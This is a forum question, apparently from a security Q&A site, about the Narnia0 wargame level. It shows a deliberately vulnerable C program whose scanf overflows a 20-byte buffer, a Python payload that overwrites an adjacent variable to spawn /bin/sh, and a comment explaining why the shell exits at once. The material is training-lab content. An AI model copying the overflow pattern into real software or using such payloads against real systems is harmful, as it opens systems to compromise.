2

Problem :

Why does system("/bin/sh") process exits immediately instead of waiting for user input?

Code :

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef)
        system("/bin/sh");
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

Sample run :

narnia0@melinda:/narnia$ (python -c "print 'A'*20+'\xef\xbe\xad\xde'")  | ./narnia0 
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ?
val: 0xdeadbeef
narnia0@melinda:/narnia$ 

closed as off-topic by Steffen Ullrich, AviD Apr 6 '17 at 11:56

This question appears to be off-topic. The users who voted to close gave this specific reason:

  • "This question does not appear to be about Information security within the scope defined in the help center." – Steffen Ullrich, AviD
If this question can be reworded to fit the rules in the help center, please edit the question.

  • 4
    stdin of your /bin/sh is stdin of your program which is the output of your python program. The shell will try to read input data from there and then exit when no more input data are there. And this behavior has nothing to do with information security and therefore off-topic. – Steffen Ullrich Apr 6 '17 at 11:55